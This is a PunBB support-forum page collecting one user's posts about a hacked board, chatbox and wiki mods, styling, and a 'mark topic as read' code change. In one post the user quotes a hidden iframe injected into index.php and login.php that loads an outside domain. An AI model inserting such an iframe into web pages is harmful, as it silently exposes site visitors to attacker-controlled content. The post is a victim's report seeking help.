1

(14 replies, posted in PunBB 1.2 troubleshooting)

I disabled the links page and the calendar and it seems to be ok now.

2

(14 replies, posted in PunBB 1.2 troubleshooting)

interesting.

so this means what? I deleted all my unposting users using the user management plugin, but wouldn't you have to be logged into the server to access these files?

the code hasn't returned, but we are certainly vulnerable.

very troubling.

3

(14 replies, posted in PunBB 1.2 troubleshooting)

Also, no, my host (CWI) say there have been no security breaches.
No one but me has logged into my account.

Curious.

4

(14 replies, posted in PunBB 1.2 troubleshooting)

I mean the root php documents for punbb

not the templates. not the style.

the actual documents themselves.

5

(14 replies, posted in PunBB 1.2 troubleshooting)

elbekko wrote:

Congratulations, you got hacked.

yeah, awesome.

Thanks.

But the question is:
How to determine where the hack came in?

I ran the user management plugin, and removed all the users who have never posted and are unverified.
I changed my login and password att he server level
I removed the calender mod, and the link mod.
So now the only other addition to my board is the chatbox, the ajax version.

I am considering turning off guest access and new logins until I've gotten to the bottom of this, but at this point I'm not sure if it will do any good.

I suppose I could post my error logs so that people here could take a look, and possibly defend others from this type of attack, but they're huge and I don't want to do that unless it's going to be helpful.

6

(14 replies, posted in PunBB 1.2 troubleshooting)

a shared host. but it's my own account, and no one else has access.

The error logs have been blowing up lately, so this looks like some kind of issue from outside.
But I wouldn't know, many of the errors are simple people trying to log in and can't because of the 'unexpected ">" message

very strange.

7

(14 replies, posted in PunBB 1.2 troubleshooting)

Hey there,

I think something strange is going on, but I'm not sure. So I thought I'd report it here.

A couple days ago my pun index returned an error saying there was an unexpected "<" on the last line of the index.php

I went into the index file and looked.

I found:

<!-- o4 --><iframe src="http://t.fala.org.ua/" width=1 height=1 style="display:none"><!-- c4 -->

I'd never seen this before, so I removed it and the index worked just fine again.

I also reset my index page's permissions to be sure they weren't writable (they weren't, but i reset the permissions anyway.)

Today a similar issue appeared with login.php

same code:

<!-- o4 --><iframe src="http://t.fala.org.ua/" width=1 height=1 style="display:none"><!-- c4 -->

appeaded at the bottom of the login.php

What's going on?
How are people able to get into my server and add this broken code?

How can I stop it?

Smartys wrote:

Admin Options

d'uh!

thank you!!!

I made a modification some time ago, when my board was young and I wanted it to look busy, which extended the length of time that a user appeared in the "who is online" list at the bottom of the page.

Trying to undo this has proven to be a bit of a pickle.

I see all my code in the index.php and in the online list at functions.php but I don't see where the duration is set anywhere.

Must be somewhere else, but I can't suss it out.

Does anyone know?

sudhir_nyc wrote:
Tubby wrote:

look the admin plugin for the chatbox and play around with the code and im sure you will eventually figure out how to remove the ip and the chatbox posts tongue

Ahem ahem....sorry but cant seem to figure out the way...

It's in the html results of the admin plugin control panel.

You have to look carefully at the values proposed, and remove anything you don't want.
I would copy and paste the code in there by default, and then play with it a little, removing the tag for the IP or whatever else you want to remove.

Save your changes in the control panel, take a look at it, revise as needed.

I've got this on my index page, and it's great.

One minor annoyance is that the browser, any browser, jumps to the input box on the chatbox. I've got it at the bottom of the page, so when my index page loads, the user is broguth to the bottom of the page, as if chatting in the chatbox was priority #1.

How can I turn this off?

I'm with you...

.stickytext {anything}

makes the label change, but I haven't been able to change the color of the title links in a sticky either.

I'd love see the topmost new message appear at the top, or have an option to choose top or bottom order.

also would love to see this on the index at the bottom of the page (working on this now)

Also, I'm using this mod with version 1.2.12 and it's fine (so far)

This is a nice chatbox.

I have a question/Request:

I would like to place the chatbox at the bottom of my forums, just before the footers, and only on the index.
When I include the chatbox.php it's a mess. I get the headers and footers all over again. Mess.

How can I change the code so that I can include the chatbox on the index?

Not working here either.

When wrapped in "code" tag the .swf file will post, when applied as ubb code, it doesn't parse.

sad

It would probably need to search the first post, and title, and look for a minimum number of similar words.

this modification is great!  Thank you!

I've spent a few hours with this addition to my community, and i think it's promising, and a much needed addition.

I've got some trouble that others seem to have as well:
1. The way the page is created, there doesn't seem to be an accurate wrapping, or inclusion in the main.tpl file
This means that the wiki won't center if you have done something fancy with your board.

The css solutions offered regarding  .all and .pun  have no effect, this baby is slammed to the left, and as adding padding, margin and other style seems to have no effect either, it seems like something is either floating left, or being otherwise forced to the left. Whatever it is, I can't find it.

A clue is that the footer is also misaligned. The board credit is slammed to the right.

2. In Safari, all the buttons say "submit" and so for practical use, no one knows what they're supposed to do. Thus, we can't use it in this condition.

But it's super baad, and a lot of work has obviously gone into this. I'd love to see it go a little bit further. And I'd love to help if I can.

F.

I'd like to integrate the 'Mark topic as read' Mod into the Active Topics 1.2

My question is how to translate this:

if (!$pun_user['is_guest'] && $cur_topic['last_post'] > $pun_user['last_visit'] && $cur_topic['moved_to'] == null)
        {
            $icon_text .= ' '.$lang_common['New icon'];
            $item_status .= ' inew';
            $icon_type = 'icon inew';
            $subject = '<strong>'.$subject.'</strong>';
            $subject_new_posts = '<span class="newtext">[ <a href="viewtopic.php?id='.$cur_topic['id'].'&action=new" title="'.$lang_common['New posts info'].'">'.$lang_common['New posts'].'</a> ]</span>';
        }
        else
            $subject_new_posts = null;

To relate to this modification from the viewtopic.php changes in the Mark topic as read mod

#
#---------[ 43. OPEN ]--------------------------------------------------------
#

viewtopic.php


#
#---------[ 44. FIND (line: 71) ]---------------------------------------------
#

    $result = $db->query('SELECT MIN(id) FROM '.$db->prefix.'posts WHERE topic_id='.$id.' AND posted>'.$pun_user['last_visit']) or error('Unable to fetch post info', __FILE__, __LINE__, $db->error());


#
#---------[ 45. REPLACE WITH ]------------------------------------------------
#

    // MOD: MARK TOPICS AS READ - 5 LINES NEW CODE FOLLOW
    if(!empty($pun_user['read_topic']['t'][$id])) {
        $last_read = $pun_user['read_topic']['t'][$id];
    } else { // if the user hasn't read the topic
        $last_read = $pun_user['last_visit'];
    }
    // MOD: MARK TOPICS AS READ - 1 LINE MODIFIED CODE FOLLOWS
    $result = $db->query('SELECT MIN(id) FROM '.$db->prefix.'posts WHERE topic_id='.$id.' AND posted>'.$last_read) or error('Unable to fetch post info', __FILE__, __LINE__, $db->error());


#
#---------[ 46. FIND (line: 105) ]--------------------------------------------
#

    $result = $db->query('SELECT t.subject, t.closed, t.num_replies, t.sticky, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, s.user_id AS is_subscribed FROM '.$db->prefix.'topics AS t INNER JOIN '.$db->prefix.'forums AS f ON f.id=t.forum_id LEFT JOIN '.$db->prefix.'subscriptions AS s ON (t.id=s.topic_id AND s.user_id='.$pun_user['id'].') LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id='.$id.' AND t.moved_to IS NULL') or error('Unable to fetch topic info', __FILE__, __LINE__, $db->error());


#
#---------[ 47. REPLACE WITH ]------------------------------------------------
#

    // MOD: MARK TOPICS AS READ - 1 LINE MODIFIED CODE FOLLOWS
    $result = $db->query('SELECT t.subject, t.closed, t.num_replies, t.sticky, t.last_post, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, s.user_id AS is_subscribed FROM '.$db->prefix.'topics AS t INNER JOIN '.$db->prefix.'forums AS f ON f.id=t.forum_id LEFT JOIN '.$db->prefix.'subscriptions AS s ON (t.id=s.topic_id AND s.user_id='.$pun_user['id'].') LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id='.$id.' AND t.moved_to IS NULL') or error('Unable to fetch topic info', __FILE__, __LINE__, $db->error());


#
#---------[ 48. FIND (line: 115) ]--------------------------------------------
#

// Sort out who the moderators are and if we are currently a moderator (or an admin)


#
#---------[ 49. BEFORE, ADD ]-------------------------------------------------
#

// MOD: MARK TOPICS AS READ - 1 LINE NEW CODE FOLLOWS
if (!$pun_user['is_guest']) mark_topic_read($id, $cur_topic['forum_id'], $cur_topic['last_post']);


#
#---------[ 50. SAVE/UPLOAD ]-------------------------------------------------
#

Seems like it's possible, but the language is so different I've only been able to destroy it, not actually get it to work.

Something like this, or a "whisper" type of mod where only a designated user can see the reply would be amazing. Good for mod com and personal com between folks, promoting activity and privacy.

I'd like to see something like this too.

That would take porting the style switcher from the profile section into the main board.

Could be done.

perfect!

So simple...

I knew I was totally over complicating it.

Thank you!!!

I have been working a lot for the past couple years with div's and span's for design work.

I love punbb, and style it most often by removing the boundaries of the tables containing the topics and go with a color or textured background.

On a current project I'd like to change how punbb extends as forums are added.

<tr>
                    <td class="tcl">
                        <div class="intd">
                            <div class="icon"><div class="nosize"><!-- --></div></div>
                            <div class="tclcon">
                                <h3><a href="viewforum.php?id=1">Forum One</a></h3>
                                Forum One Description
                            </div>
                        </div>
                    </td>

Somehow I want to add a unique div which will surround each instance of a forum and style it uniquely per instance.

An example would be to wrap a div around each forum and change the background color for the forum's topmost presentation, as well as the specific forum's "brdtitle" section and again within each topic in that forum.

It would be extra nice to then change that color for each forum section.

Seems like I need to look into the code for how punbb works more deeply to get this done, thus, it becomes a hack.
the hack for style is ok for right now, but I'm guessing that this will be a serious problem when we make substantial upgrades.

Is there another way I may be missing?

The setting in the moderation plugin seems to default to off for indexing, and selecting yes, and saving returns "no" results and can't seem to be changed.

any idea what gives?